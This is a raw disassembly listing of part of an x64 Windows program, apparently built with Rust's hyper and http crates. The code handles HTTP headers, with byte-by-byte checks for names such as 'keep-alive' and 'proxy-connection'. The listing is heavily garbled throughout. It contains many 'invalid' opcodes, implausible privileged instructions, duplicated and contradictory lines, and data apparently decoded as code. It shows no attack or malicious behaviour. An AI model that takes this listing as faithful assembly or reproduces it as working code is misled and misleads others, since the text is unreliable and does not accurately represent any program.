add dword [rax], eax
add byte [rax], al
mov r8d, 0x22
jmp 0x14001bd60
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
lea rax, [0x1401157d0]
mov r9d, 1
mov ecx, 1
lahf
sldt word [rcx - 0x47]
mov ecx, 1
mov r8d, 3
jmp 0x14001bd60
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
lea rax, [0x1401157d0]
lea eax, [0x1401157d0]
mov r9d, 1
mov r8d, 0x2d
add byte [rax], al
add cl, ch
push rax
invalid
add byte [rax], al
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
lea rax, [0x1401157d0]
mov r8d, 1
add byte [rax], al
xor edx, edx
xor r11d, r11d
xor ebx, ebx
xor r10d, r10d
mov r9d, 1
jmp 0x14001bd68
add byte [rax], al
add cl, ch
xor byte [0x19710b83a], al
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rax, [0x1401157d0]
mov r9d, 1
mov ecx, 1
mov r8d, 0x21
jmp 0x14001bd60
add byte [rax], al
add cl, ch
or byte [0x19710b85a], al
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rax, [0x1401157d0]
mov r9d, 1
mov ecx, 1
mov r8d, 0x33
jmp 0x14001bd60
add al, 0
invalid
add byte [rax], al
add cl, ch
call 0x14f01b87d
add al, 0
add byte [rdi], cl
invalid
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
push rdi
ror byte [rdi], 0x29
and al, 0x20
sub dword [rsp + 0x20], eax
lea rax, [0x1401157d0]
mov r9d, 1
mov r8d, 0x49
jmp 0x14001bd60
add al, 0
invalid
mov r10b, 7
mov edx, 0x190
jmp 0x14001bb0c
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
lea rax, [0x1401157d0]
mov r9d, 1
mov r8d, 0x36
jmp 0x14001bd60
mov r10b, 5
mov r11d, 0xb
or eax, dword [rax]
add byte [rax], al
mov ebx, 0xb
lea r8, str._index.htmlgzip__deflateencoding_header_without_name__but_no_previous_index_to_use_for_nameC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srchpackencoder.rs
jmp 0x14001bd68
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
sub dword [rsp + 0x20], eax
lea rax, [0x1401157d0]
mov r9d, 1
mov ecx, 1
add dword [rax], eax
add byte [rax], al
mov r8d, 0x29
jmp 0x14001bd60
add al, 0
invalid
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rax, [0x1401157d0]
lea eax, [0x1401157d0]
mov r9d, 1
mov r8d, 0x4c
jmp 0x14001bd60
mov r10b, 7
mov edx, 0x194
jmp 0x14001bb0c
add dword [rax], eax
invalid
in eax, 1
add byte [rax], al
mov r10b, 7
mov edx, 0xce
jmp 0x14001bb0c
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rax, [0x1401157d0]
lea eax, [0x1401157d0]
lea eax, [0x1401157d0]
mov r9d, 1
mov r8d, 0x16
jmp 0x14001bd60
or al, 4
add byte [rax], al
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rax, [0x1401157d0]
mov r9d, 1
mov r8d, 0x15
jmp 0x14001bd60
movabs rdx, 0x202020202020202
jmp case.0x1400284e6.444
lea rax, [rsp + 0x38]
and al, 0x38
mov rsi, rcx
mov rcx, rax
call fcn.14001f1c0
mov rcx, rsi
mov rax, qword [rsp + 0x38]
mov r9, qword [rsp + 0x40]
movups xmm0, xmmword [rsp + 0x48]
movaps xmmword [rsp + 0x20], xmm0
movzx r10d, byte [rsp + 0x58]
mov edx, dword [rsp + 0x59]
mov dword [rsp + 0x30], edx
push rsp
and al, 0x30
push rsp
and al, 0x30
mov edx, dword [rsp + 0x5c]
pop rsp
mov dword [rsp + 0x33], edx
mov r8d, 2
add al, byte [rax]
add byte [rax], al
add byte [rcx], dh
rol byte [rbp + 0x31], cl
fucomi st(1)
wait
add eax, dword [rax]
add byte [rcx - 0x4e], al
mov r10b, 5
mov r11d, 1
xor edx, edx
xor r11d, r11d
jmp 0x14001bd68
mov r10b, 5
mov r11d, 1
lea r8, [0x140172678]
lea eax, [0x140172678]
jmp 0x14001bd68
mov r10b, 7
mov edx, 0xc8
jmp 0x14001bb0c
movabs rdx, 0x101010101010101
add dword [rcx], eax
add dword [rcx - 0x4e], eax
mov r10b, 3
mov r8, rdx
mov r11, rdx
invalid
invalid
mov r10b, 3
mov r8, rdx
mov r11, rdx
mov ebx, edx
jmp 0x14001bd68
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
lea rax, [0x1401157d0]
mov r9d, 1
mov ecx, 1
mov r8d, 0x1e
jmp 0x14001bd60
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
lea rax, [0x1401157d0]
mov r9d, 1
mov ecx, 1
mov r8d, 4
jmp 0x14001bd60
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
lea rax, [0x1401157d0]
mov r9d, 1
mov ecx, 1
mov r8d, 0x2a
jmp 0x14001bd60
add byte [rax], al
add cl, ch
stc
add al, byte [rax]
add byte [rdi], cl
xorps xmm0, xmm0
invalid
invalid
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
and al, 0x20
and al, 0x20
and byte [rax - 0x73], cl
add eax, 0xf9d5a
lea rax, [0x1401157d0]
mov r9d, 1
mov r8d, 0xd
add cl, ch
fld dword [rdx]
add byte [rax], al
add cl, ch
fld dword [rdx]
add byte [rax], al
mov r10b, 4
mov r11d, 4
add al, 0
add byte [rax], al
add byte [rax], al
add byte [rbp + rcx*4 + 5], cl
jl 0x14001bafd
lea r8, [0x140172313]
jmp 0x14001bd68
adc eax, 0x2cce900
add byte [rax], al
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rax, [0x1401157d0]
invalid
popfq
invalid
invalid
and eax, 0x41000f9d
mov ecx, 1
sldt word [rcx - 0x47]
mov r9d, 1
add dword [rax], eax
add byte [rax], al
mov r8d, 0xe
jmp 0x14001bd60
mov r10b, 7
mov edx, 0x1f4
jmp 0x14001bb0c
mov r10b, 4
mov r11d, 5
mov ebx, 5
add byte [rax], al
lea r8, [0x140172317]
jmp 0x14001bd68
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
lea rax, [0x1401157d0]
mov r9d, 1
xor edx, edx
xor r8d, r8d
jmp 0x14001bd62
add byte [rax], al
add byte [rcx], dh
rol byte [rbp + 0x31], cl
shr cl, 0x68
add al, byte [rax]
add byte [rcx - 0x4e], al
mov r10b, 7
mov r10b, 7
mov edx, 0x130
jmp 0x14001bb0c
mov r10b, 7
mov edx, 0xcc
jmp 0x14001bd68
push rdi
add al, byte [rax]
add byte [rdi], cl
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rax, [0x1401157d0]
add eax, 0xf9cb0
sldt word [rcx - 0x47]
add dword [rax], eax
add byte [rax], al
mov r9d, 1
mov r8d, 0x1d
jmp 0x14001bd60
invalid
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rax, [0x1401157d0]
pushfq
sldt word [rcx - 0x47]
mov ecx, 1
pushfq
sldt word [rcx - 0x47]
mov ecx, 1
mov r8d, 0x20
jmp 0x14001bd60
add cl, ch
lar eax, word [rax]
add byte [rdi], cl
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rax, [0x1401157d0]
mov r9d, 1
mov ecx, 1
add byte [rax], al
add byte [rcx - 0x48], al
add byte cs:[rax], al
add cl, ch
mov r8d, 0x2e
jmp 0x14001bd60
out dx, eax
add dword [rax], eax
add byte [rdi], cl
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rax, [0x1401157d0]
mov r9d, 1
mov ecx, 1
mov r8d, 0x10
jmp 0x14001bd60
iretd
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rax, [0x1401157d0]
mov r9d, 1
mov ecx, 1
mov r8d, 0x28
jmp 0x14001bd60
scasd eax, dword [rdi]
add dword [rax], eax
add byte [rdi], cl
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rax, [0x1401157d0]
mov r9d, 1
mov ecx, 1
mov r8d, 8
jmp 0x14001bd60
add cl, ch
pop qword [rcx]
add byte [rax], al
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rax, [0x1401157d0]
mov r9d, 1
mov ecx, 1
mov r8d, 0x46
add byte [rax], al
jmp 0x14001bd60
outsd dx, dword [rsi]
add dword [rax], eax
add byte [rdi], cl
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
sub dword [rsp + 0x20], eax
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
sub dword [rsp + 0x20], eax
sub dword [rsp + 0x20], eax
lea rax, [0x1401157d0]
mov r9d, 1
mov ecx, 1
mov r8d, 0x2b
mov eax, 0x2b
jmp 0x14001bd60
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
ror byte [rdi], 0x29
and al, 0x20
lea rax, [0x1401157d0]
mov r9d, 1
mov ecx, 1
add byte [rax], al
mov r8d, 0x4a
jmp 0x14001bd60
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rax, [0x1401157d0]
mov r9d, 1
mov ecx, 1
mov ecx, 1
mov r8d, 0x11
jmp 0x14001bd60
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rax, [0x1401157d0]
mov r9d, 1
mov ecx, 1
mov r8d, 0x19
jmp 0x14001bd60
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rax, [0x1401157d0]
mov r9d, 1
mov ecx, 1
mov r8d, 0x1a
jmp 0x14001bd60
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rax, [0x1401157d0]
mov r9d, 1
mov ecx, 1
mov r8d, 0x27
jmp 0x14001bd60
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
and al, 0x20
lea rax, [0x1401157d0]
mov r9d, 1
mov r8d, 0x17
jmp 0x14001bd60
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rax, [0x1401157d0]
add eax, 0xf9af0
mov r9d, 1
mov r8d, 0x41
jmp 0x14001bd60
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rax, [0x1401157d0]
add eax, 0xf9ad3
mov r9d, 1
mov r8d, 0x42
jmp 0x14001bd60
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
ror byte [rdi], 0x29
and al, 0x20
lea rax, [0x1401157d0]
mov r9d, 1
mov r8d, 0x3a
jmp 0x14001bd60
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rax, [0x1401157d0]
mov r9d, 1
mov r8d, 0x2f
jmp 0x14001bd60
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rax, [0x1401157d0]
mov r9d, 1
mov r8d, 0x39
xor edx, edx
rol byte [rbp + 0x31], cl
fild dword [rbp + 0x31]
ror byte [rax - 0x77], cl
adc dword [rcx + rcx*4 + 0x41], ecx
or byte [rcx + rcx*4 + 0x59], cl
adc byte [rax - 0x39], cl
sbb byte [r8], al
add byte [rax], al
add byte [rax - 0x77], cl
and byte [r9 + rcx*4 + 0x49], cl
sub byte [rdi], cl
sub byte [rsp + 0x20], al
xor r11d, r11d
xor r10d, r10d
mov qword [rcx], rdx
mov qword [rcx + 8], r8
mov qword [rcx + 0x10], r11
mov qword [rcx + 0x18], 0
mov qword [rcx + 0x20], rax
mov qword [rcx + 0x28], r9
movaps xmm0, xmmword [rsp + 0x20]
movups xmmword [rcx + 0x30], xmm0
mov byte [rcx + 0x40], r10b
mov eax, dword [rsp + 0x30]
mov edx, dword [rsp + 0x33]
mov dword [rcx + 0x41], eax
mov dword [rcx + 0x44], edx
add rsp, 0x60
pop rsi
ret
in al, dx
movabs al, byte [0x8948d78948000000]
invalid
shr rdi, 5
sub r14, rdi
lea r15, [rdi + rbx]
cmp rbx, r12
jne 0x14001be81
test r15, r15
je 0x14001bf46
test r14b, 1
jne 0x14001bf5a
mov rax, r14
or rax, 1
lea rcx, [0x140129108]
jmp 0x14001bf64
movzx eax, byte [0x140182310]
mov edx, 0x18
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x14001c084
add r12, rdi
mov qword [rax], r14
mov qword [rax + 8], r12
mov qword [rax + 0x10], 1
lea rcx, [0x140113bb0]
jmp 0x14001bf64
mov qword [rax], r13
mov qword [rax + 8], r12
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], 1
mov rdi, rax
mov r14, qword [rsp + 0x30]
add r14, r15
xor eax, eax
sub rbx, r15
cmovb rbx, rax
mov r12, qword [rsp + 0x40]
sub r12, r15
test dil, 1
jne 0x14001be4b
mov qword [rsi + 8], r14
mov qword [rsi + 0x10], rbx
mov qword [rsi + 0x18], rdi
lea rax, [0x14014ef30]
mov qword [rsi], rax
jmp 0x14001bf87
lea rcx, [0x140113ac0]
mov r14d, 1
xor eax, eax
xor r15d, r15d
jmp 0x14001bf64
lea rcx, [0x140129120]
mov rax, r14
mov qword [rsp + 0x20], rdi
mov rdx, r15
jl 0x14001bf8c
and byte [rcx + rcx*4 - 6], cl
sub rdx, rdi
jb 0x14001c00f
add r14, rdi
mov qword [rsi], rcx
mov qword [rsi + 8], r14
mov qword [rsi + 0x10], rdx
mov qword [rsi + 0x18], rax
add rsp, 0xa0
add byte [rax], al
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
add byte [rax - 0x73], cl
and al, 0x50
mov qword [rsp + 0x80], rax
mov dword [rsp + 0x80], eax
mov qword [rsp + 0x88], 2
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes_mut.rs
and al, 0x88
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x132ff3
lea rcx, [rsp + 0x70]
call fcn.140108280
mov qword [rsp + 0x28], r15
lea rax, [rsp + 0x20]
lea eax, [rsp + 0x20]
sub byte [rax - 0x73], cl
and al, 0x20
lea eax, [rsp + 0x20]
mov qword [rsp + 0x50], rax
and al, 0x50
lea rax, [0x1400ea0f0]
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0x28]
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x68], eax
lea rax, str.cannot_advance_past__remaining_:___
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 2
mov qword [rsp + 0x90], 0
lea rax, [rsp + 0x50]
lea eax, [rsp + 0x50]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 2
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes.rsC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_src_body_body.rs
lea rcx, [rsp + 0x70]
call fcn.140108280
mov ecx, 8
mov edx, 0x18
call fcn.140107fe0
mov ecx, 8
mov edx, 0x28
call fcn.140107fe0
invalid
add ah, cl
invalid
int3
int3
push rdi
push rbx
sub rsp, 0xd0
movzx eax, byte [rdx + 0x40]
lea r8d, [rax - 2]
dec al
xor r9d, r9d
cmp r8b, 6
movzx eax, al
rol byte [rcx + 0xf], 0x43
ror dword [rdi], 0xb6
ror byte [rbp + rcx*4 + 5], 0xb8
popfq
adc eax, 0x4634900
invalid
add rax, r8
rol byte [rcx + 0xf], 0x43
ror dword [rdi], 0xb6
ror byte [rbp + rcx*4 + 5], 0xb8
popfq
adc eax, 0x4634900
or byte [rcx + rax - 0x40], 0xff
jmp rax
invalid
jmp rax
movups xmm0, xmmword [rdx]
adc byte [rdx], al
movups xmm1, xmmword [rdx + 0x10]
movaps xmmword [rsp + 0xa0], xmm1
movaps xmmword [rsp + 0x90], xmm0
sub dword [rsp + 0x90], eax
add byte [rax - 0x75], cl
mov qword [rsp + 0x50], rax
mov rax, qword [rdx + 0x40]
mov qword [rsp + 0x50], rax
movups xmm0, xmmword [rdx + 0x20]
movups xmm1, xmmword [rdx + 0x30]
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
mov rdi, qword [rsp + 0x90]
movzx esi, byte [rsp + 0x98]
cmp sil, 0x14
sete al
mov edx, esi
and dl, 0x7d
cmp dl, 0x45
sete dl
test rdi, rdi
jne 0x14001c452
or al, dl
je 0x14001c452
mov rax, qword [rcx]
mov byte [rax], 1
add esi, eax
add byte [rcx], al
mov r8, qword [rsp + 0x40]
and al, 0x40
jmp 0x14001c695
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
mov rax, qword [rcx + 8]
cmp byte [rax], 0
jne 0x14001c3d0
mov rsi, qword [rcx + 0x20]
mov rax, qword [rsi]
mov eax, dword [rsi]
mov eax, dword [rsi]
cmp qword [rax + 0xb8], 0
jne 0x14001c3d0
add byte [rax], al
add byte [rdi], cl
test dword [rdi], edi
add al, byte [rax]
add byte [rdi], cl
adc byte [rdx], al
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movaps xmmword [rsp + 0x70], xmm1
movaps xmmword [rsp + 0x60], xmm0
mov r8, qword [rsp + 0x70]
mov rax, qword [rcx + 0x10]
mov rdx, qword [rax]
lea rdx, [r8 + rdx + 0x25]
mov qword [rax], rdx
mov rcx, qword [rcx + 0x18]
adc byte [r8 - 0x75], cl
adc byte [rcx - 0x73], cl
push rsp
adc byte [0x188124aff], ah
mov ecx, dword [rcx + 0x18]
mov rax, qword [rsi]
cmp rdx, qword [rcx]
jae 0x14001c746
mov r9, qword [rax + 0xb8]
test r9, r9
je 0x14001c1ee
lea rcx, [rax + 0xd0]
mov rdx, qword [rax + 0xc0]
mov r8, qword [rax + 0xc8]
call qword [r9 + 0x10]
mov rax, qword [rsi]
movaps xmm0, xmmword [rsp + 0x60]
movaps xmm1, xmmword [rsp + 0x70]
movups xmmword [rax + 0xc8], xmm1
movups xmmword [rax + 0xb8], xmm0
add byte [rax], al
add cl, ch
loop 0x14001c20a
add byte [rax], al
add byte [rax], al
add cl, ch
loop 0x14001c20a
add byte [rax], al
add byte [rdi], cl
mov dh, 0x1a
movzx ebx, byte [rdx]
mov r8, qword [rdx + 8]
mov rsi, qword [rdx + 0x10]
mov rax, qword [rcx + 8]
cmp byte [rax], 0
jne case.default.0x14001c247
mov rdi, qword [rcx + 0x20]
mov rax, qword [rdi]
cmp byte [rax + 0x60], 0xb
jne case.default.0x14001c247
movzx eax, bl
mov eax, eax
lea r9, [0x140175eb4]
movsxd rax, dword [r9 + rax*4]
add rax, r9
jmp rax
mov eax, 7
jmp 0x14001c7e7
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
mov rax, qword [rcx + 8]
cmp byte [rax], 0
jne 0x14001c3d0
mov rsi, qword [rcx + 0x20]
mov rax, qword [rsi]
cmp qword [rax + 0x78], 0
jne 0x14001c3d0
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movaps xmmword [rsp + 0x70], xmm1
movaps xmmword [rsp + 0x60], xmm0
mov r8, qword [rsp + 0x70]
mov rax, qword [rcx + 0x10]
mov rdx, qword [rax]
lea rdx, [r8 + rdx + 0x27]
mov qword [rax], rdx
mov rcx, qword [rcx + 0x18]
mov rax, qword [rsi]
cmp rdx, qword [rcx]
jae 0x14001c746
mov r9, qword [rax + 0x78]
test r9, r9
je 0x14001c2dd
lea rcx, [rax + 0x90]
mov rdx, qword [rax + 0x80]
mov r8, qword [rax + 0x88]
call qword [r9 + 0x10]
adc byte [rax - 0x75], cl
invalid
movaps xmm0, xmmword [rsp + 0x60]
movaps xmm1, xmmword [rsp + 0x70]
movups xmmword [rax + 0x88], xmm1
movups xmmword [rax + 0x78], xmm0
jmp 0x14001c3ed
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
mov rax, qword [rcx + 8]
cmp byte [rax], 0
jne 0x14001c3d0
mov rsi, qword [rcx + 0x20]
mov rax, qword [rsi]
cmp qword [rax + 0x98], 0
jne 0x14001c3d0
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movaps xmmword [rsp + 0x70], xmm1
jo 0x14001c346
sub dword [rsp + 0x60], eax
jo 0x14001c346
sub dword [rsp + 0x60], eax
mov r8, qword [rsp + 0x70]
mov rax, qword [rcx + 0x10]
mov rdx, qword [rax]
lea rdx, [r8 + rdx + 0x2a]
adc byte [rcx - 0x73], cl
push rsp
adc byte [rdx], ch
mov qword [rax], rdx
mov rcx, qword [rcx + 0x18]
mov rax, qword [rsi]
cmp rdx, qword [rcx]
jae 0x14001c746
mov r9, qword [rax + 0x98]
test r9, r9
je 0x14001c387
lea rcx, [rax + 0xb0]
mov rdx, qword [rax + 0xa0]
mov r8, qword [rax + 0xa8]
call qword [r9 + 0x10]
mov rax, qword [rsi]
movaps xmm0, xmmword [rsp + 0x60]
movaps xmm1, xmmword [rsp + 0x70]
movups xmmword [rax + 0xa8], xmm1
movups xmmword [rax + 0x98], xmm0
jmp 0x14001c3ed
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
mov rax, qword [rcx + 8]
cmp byte [rax], 0
jne 0x14001c3d0
mov rsi, qword [rcx + 0x20]
mov rax, qword [rsi]
cmp qword [rax + 0xd8], 0
je 0x14001c6d0
mov rax, qword [rcx]
mov byte [rax], 1
lea rcx, [rsp + 0x48]
mov rax, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
mov r8, qword [rsp + 0x40]
call qword [rax + 0x10]
nop
add rsp, 0xd0
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
mov rax, qword [rcx + 8]
cmp byte [rax], 0
jne 0x14001c41c
mov rax, qword [rcx + 0x20]
mov r8, qword [rax]
cmp word [r8 + 0xf8], 0
je 0x14001c76a
mov rax, qword [rcx]
mov byte [rax], 1
jmp 0x14001c3ed
mov rax, qword [rcx]
mov byte [rax], 1
cmp bl, 0xa
jb 0x14001c3ed
test rsi, rsi
je 0x14001c3ed
mov rcx, qword [0x140182260]
xor edx, edx
add rsp, 0xd0
pop rbx
pop rdi
pop rsi
pop r14
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
test rdi, rdi
je 0x14001c472
mov rsi, qword [rsp + 0x98]
mov rdx, qword [rsp + 0xa0]
mov rax, rsi
cmp rdx, 0xa
je 0x14001c485
jmp 0x14001c4c4
mov rbx, rcx
mov ecx, esi
call fcn.14002e600
mov rcx, rbx
cmp rdx, 0xa
jne 0x14001c4c4
cmp byte [rax], 0x6b
jne 0x14001c4c4
cmp byte [rax + 1], 0x65
jne 0x14001c4c4
cmp byte [rax + 2], 0x65
jne 0x14001c4c4
cmp byte [rax + 3], 0x70
jne 0x14001c4c4
cmp byte [rax + 4], 0x2d
jne 0x14001c4c4
cmp byte [rax + 5], 0x61
jne 0x14001c4c4
cmp byte [rax + 6], 0x6c
jne 0x14001c4c4
cmp byte [rax + 7], 0x69
jne 0x14001c4c4
cmp byte [rax + 8], 0x76
jne 0x14001c4c4
cmp byte [rax + 9], 0x65
je 0x14001c14e
invalid
dec dword [rax - 0x7b]
push qword [rbx + rbx + 0x48]
mov esi, dword [rsp + 0x98]
test rdi, rdi
je 0x14001c4e4
mov rsi, qword [rsp + 0x98]
mov rdx, qword [rsp + 0xa0]
mov rax, rsi
cmp rdx, 0x10
je 0x14001c4f7
jmp 0x14001c55a
mov rbx, rcx
mov ecx, esi
call fcn.14002e600
mov rcx, rbx
cmp rdx, 0x10
jne 0x14001c55a
cmp byte [rax], 0x70
jne 0x14001c55a
cmp byte [rax + 1], 0x72
jne 0x14001c55a
cmp byte [rax + 2], 0x6f
jne 0x14001c55a
cmp byte [rax + 3], 0x78
jne 0x14001c55a
cmp byte [rax + 4], 0x79
jne 0x14001c55a
cmp byte [rax + 5], 0x2d
jne 0x14001c55a
cmp byte [rax + 6], 0x63
jne 0x14001c55a
cmp byte [rax + 7], 0x6f
jne 0x14001c55a
cmp byte [rax + 8], 0x6e
jne 0x14001c55a
cmp byte [rax + 9], 0x6e
jne 0x14001c55a
cmp byte [rax + 0xa], 0x65
jne 0x14001c55a
test rdi, rdi
jne 0x14001c58f
cmp sil, 0x43
jne 0x14001c58f
mov r8, qword [rsp + 0x40]
cmp r8, 8
jne 0x14001c584
mov rax, qword [rsp + 0x38]
movabs rdx, 0x7372656c69617274
cmp qword [rax], rdx
je 0x14001c58f
mov rax, qword [rcx]
mov byte [rax], 1
jmp 0x14001c695
mov rax, qword [rcx + 8]
mov byte [rax], 1
lea rax, [rsp + 0x90]
mov rsi, rcx
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rax - 0x77], cl
invalid
mov esi, ecx
mov rcx, rax
call fcn.14001e320
mov rdx, rsi
mov r8, qword [rsp + 0x40]
sbb eax, 0x89480000
mov r8, qword [rsp + 0x40]
mov eax, dword [rsp + 0x40]
mov rcx, qword [rsi + 0x10]
add rax, r8
add rax, 0x20
add rax, qword [rcx]
mov qword [rcx], rax
mov rcx, qword [rsi + 0x18]
cmp rax, qword [rcx]
jae 0x14001c67e
add r8, 0x20
add eax, 0x20
lea rcx, [rsp + 0x90]
mov rsi, rdx
mov rdi, r8
call fcn.14001e320
mov rcx, qword [rsi + 0x20]
mov rdx, qword [rcx]
add rax, rdi
add qword [rdx + 0x100], rax
mov rcx, qword [rcx]
movaps xmm0, xmmword [rsp + 0x90]
movaps xmm1, xmmword [rsp + 0xa0]
add byte [rax], al
add byte [rax], al
movaps xmmword [rsp + 0xc0], xmm1
movaps xmmword [rsp + 0xb0], xmm0
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x80], rax
movaps xmm0, xmmword [rsp + 0x30]
movaps xmm1, xmmword [rsp + 0x40]
and al, 0x40
and al, 0x40
movaps xmmword [rsp + 0x70], xmm1
movaps xmmword [rsp + 0x60], xmm0
lea rdx, [rsp + 0xb0]
lea r8, [rsp + 0x60]
call fcn.14001e400
cmp al, 2
jne 0x14001c3ed
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov qword [rsp + 0x20], rax
lea rcx, str.size_overflows_MAX_SIZE
lea r9, [0x1401156c0]
nop
str word [rbp + rcx*4 + 0x44]
and al, 0x2f
invalid
mov edx, 0x17
call fcn.140108600
invalid
invalid
invalid
invalid
mov rax, qword [rdx + 0x20]
mov rax, qword [rax]
cmp byte [rax + 0x108], 0
jne 0x14001c695
mov byte [rax + 0x108], 1
lea rcx, [rsp + 0x48]
mov rax, qword [rsp + 0x30]
and al, 0x30
xor byte [rax - 0x75], cl
push rsp
and al, 0x38
mov rdx, qword [rsp + 0x38]
call qword [rax + 0x10]
test rdi, rdi
je 0x14001c3ed
lea rcx, [rsp + 0xa8]
mov rdx, qword [rsp + 0x98]
mov r8, qword [rsp + 0xa0]
call qword [rdi + 0x10]
jmp 0x14001c3ed
invalid
dec dword [rdi]
adc byte [rdx], al
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movaps xmmword [rsp + 0x70], xmm1
movaps xmmword [rsp + 0x60], xmm0
mov r8, qword [rsp + 0x70]
mov rax, qword [rcx + 0x10]
mov rdx, qword [rax]
lea rdx, [r8 + rdx + 0x29]
mov qword [rax], rdx
mov rcx, qword [rcx + 0x18]
mov rax, qword [rsi]
cmp rdx, qword [rcx]
jae 0x14001c746
mov r9, qword [rax + 0xd8]
test r9, r9
je 0x14001c729
lea rcx, [rax + 0xf0]
mov rdx, qword [rax + 0xe0]
mov r8, qword [rax + 0xe8]
call qword [r9 + 0x10]
mov rax, qword [rsi]
movaps xmm0, xmmword [rsp + 0x60]
movaps xmm1, xmmword [rsp + 0x70]
movups xmmword [rax + 0xe8], xmm1
movups xmmword [rax + 0xd8], xmm0
jmp 0x14001c3ed
cmp byte [rax + 0x108], 0
jne 0x14001c756
invalid
invalid
mov byte [rax + 0x108], 1
lea rcx, [rsp + 0x78]
mov rax, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x68]
jmp 0x14001c3ea
movzx edx, word [rdx]
mov r8, qword [rcx + 0x10]
mov r9, qword [r8]
add r9, 0x2a
mov qword [r8], r9
mov rcx, qword [rcx + 0x18]
mov rax, qword [rax]
cmp r9, qword [rcx]
jae 0x14001c793
mov word [rax + 0xf8], dx
jmp 0x14001c3ed
cmp byte [rax + 0x108], 0
jne 0x14001c3ed
